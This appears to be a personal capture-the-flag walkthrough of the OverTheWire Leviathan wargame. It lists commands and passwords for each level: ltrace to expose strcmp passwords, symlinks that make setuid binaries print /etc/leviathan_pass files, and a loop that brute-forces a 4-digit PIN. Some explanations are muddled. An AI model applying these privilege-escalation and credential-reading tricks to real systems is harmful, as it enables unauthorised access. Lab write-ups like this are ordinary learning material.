CTF-Leviathan

OverTheWire Leviathan

#Leviathan 0

#First we need to log into the level using ssh given and the username

ssh leviathan.labs.overthewire.org -p2223 -l leviathan0

#the level starting instructions gives us the password

leviathan0

#Since there is not any instructions besides to check the directories
#I start to look at the files with ls and ls -la

ls 

ls -la

#I can now see there is some files
#but I also want to see what cat /etc/leviathan_pass does

cat /etc/leviathan_pass

#it says that it is a directory
#lets go in and read the directory

cd /etc/leviathan_pass

#we can now see that there are all the levels and passwords. Cool beans
#so there are 7 levels and passwords
#lets see if any of the files early hold anything like ".backup"
#I need to exit then log back in with the password to go back to the files
#then access .backup

cd .backup

#this shows some files and bookmarks
#it mentions leviathan1 so lets grep to quick find leviathan1
#and see what's in leviathan1 bookmarks

grep leviathan1 bookmarks.html

#The quick find reads 
#" "http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A> "
# "rioGegei8m " is next password

#Level 1

#lets log into the ssh with the new password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan1

rioGegei8m

#lets see if we can snoop around like the first level using ls -la

ls -la

#there is a file that is highlighted in red saying "check"
#lets cd check to see what's inside it

cd check

#that didnt work, so lets ./check

./check

#it's asking for a password
#typing in leviathan1 doesn't work so we may need to look around
#let's try ltrace ./check that can show 
#the background string code that is looking
#for the password

ltrace ./check

#it is showing the code and asking for the password again.
#when you put in the wrong code it shows the password it is looking for in
#the " strcmp " which stands for string to compare, and it is comparing 
#the bad password I typed in, with the right password which is " sex " 
#so lets ./check again and type in the right password

./check

sex

#the section up next is blank so we need to see the user.
#to see who the user is that we are logged in as
#you can use " id " or "whoami"
#I'll use " id "

id

#now it shows 
#" uid=12001(leviathan1) gid=12001(leviathan1) euid=12002(leviathan2) groups=12002(leviathan2),12001(leviathan1) "
#this shows the users who were last in
#similar to the first level, lets cat the "/etc/leviathan_pass"
#and see if anything is in leviathan2 since it is showing up in the 2nd userid

cat /etc/leviathan_pass/leviathan2

#it shows a password " ougahZi8Ta "

#Level 2


#We are ready for level 2 and logging in and password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan2

ougahZi8Ta

#Alright, we are back in the void again and must ls or ls -la to see
#what we can do next

ls

#After ls it shows a red highlighted word saying "printfile"

ls -la

#shows the other files but still the red highlighted "printfile"
#cd ./printfile does not do anything, but lets try cat

cat printfile

#symbols and words show up, some of it seems encrypted
#lets see what print file does with ./printfile

./printfile

#says ***file printer*** usage: ./printfile filename
#so in a way using ./printfile is just like using cat
#but it is saying "You can't have that file"
#and trying a leviathan2 file says permission denied
#I am going to make a folder called "ladybug" 
#and a txt file called "derp" in the temporary file
#then run a ltrace and see what comes up in the background script

mkdir /tmp/ladybug && touch /tmp/ladybug/file\ derp.txt

cd /tmp/ladybug

ls -la

ltrace ~/printfile "file derp.txt"

#we can see that there is "access(derp.txt,4)
#it seems like it is checking to see if what is being typed matches up
#to whatever the "4" stands for
#we know that there is cat on file derp
#so we need to exploit "file" and bring the password into our tmp file
#lets try to symbolic link the password "file" to our tmp file
#using the "/etc/leviathan_pass/leviathan3"

ln -s /etc/leviathan_pass/leviathan3 /tmp/ladybug/file

ls -la

#we can see it so lets try printfile and "file derp.txt"

~/printfile "file derp.txt"

#it worked and now we got the password

Ahdiemoo1j

#Level 3

ssh leviathan.labs.overthewire.org -p2223 -l leviathan3

Ahdiemoo1j

#well this is a very short and unique level
#if we ls -la it 
#it will show level3 file

ls -la

#if we type ./level3 it will ask for a password

./level3

#we do not know the password

ltrace

#if we ltrace then it will show the code and have strcmp("h0no33", "kakaka") 
#type kakaka for password

kakaka

#it will be wrong and then it will show strcmp("kakaka\n", "snlprintf\n")   
#if you type snlprintf it will say correct and say
# puts("[You've got shell]!"[You've got shell]!

snlprintf

#so snlprintf seems to be the password needed to open ./level3
#type ./level3 and put the password in then ask whoami

./level3

whoami

#typing in whoami will show the username leviathan4
#then type cat /etc/leviathan_pass/leviathan4 for password to next level

cat /etc/leviathan_pass/leviathan4

#password is vuH0coox6m

#Level 4


#log in and use the password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan4

vuH0coox6m

#we see a trash file so lets dig into it
#we can use cd .trash since ./trash will not work

cd .trash

#we are in, let's ls -la to see whats in the trash file

ls -la

#there is a bin in the trash....
#lets see whats in the trash bin

./bin

#there is a binary output that we can decode
# " 01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010"
#Using Binary to Ascii Text Converter site http://www.binaryhexconverter.com/binary-to-ascii-text-converter
#the output reads " Tith4cokei "

#Level 5


#log in and use the password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan5

Tith4cokei

#now that we are logged in, lets take a look around

ls -la

#we see a highlighted file called leviathan5
#we cannot get in as easily as the last level with cd or ./ 
#so we need to go another route
#we do see that there is a /tmp/file.log so that is a clue
#we are making a symlink taking the tmp file and looking for the password in leviathan6

ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

#now lets see if there is a code like last file with ./ and use the leviathan5 file

./leviathan5

#we got a password " UgaoFee4li "

#Level 6

#before logging in, make sure to download nano " sudo apt-get install nano "
#Log into the level and put in the password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan6

UgaoFee4li


#let's see what's in here with ls -la

ls -la

#we see leviathan6 file similar to what level5 had
#i did ./leviathan6

./leviathan6

#it is asking for a 4 digit code we don't have
#trying to cd into it will not work
#using ltrace we can see there is " <4 digit code> "
#we may need to make a tmp file to work around into it using script
#so far kali linux does not like nano sh so needed to write a manual script

for i in {0000..9999}; do ./leviathan6 $i; done

#this makes us look through the code for specific pins between 0000-9999 to find for the 4 digit
#if we type whoami it will let us know we are now inside the leviathan7 file
#if we cat the password, we can cat for the password now

cat /etc/leviathan_pass/leviathan7

#password is ahy7MaeBo9

#We are here. We finally got to level 7

#Level 7


#Let's log in one final time with the ssh and password

ssh leviathan.labs.overthewire.org -p2223 -l leviathan7

ahy7MaeBo9

#Let's ls -la

ls -la

#there is a final file called CONGRATULATIONS
#Let's see if anything is in it with cat

cat CONGRATULATIONS

#This is what it says
#Well Done, you seem to have used a *nix system before, now try something more serious.
#(Please don't post writeups, solutions or spoilers about the games on the web. 
#Thank you!)

#ehhhhh.... We finished. :)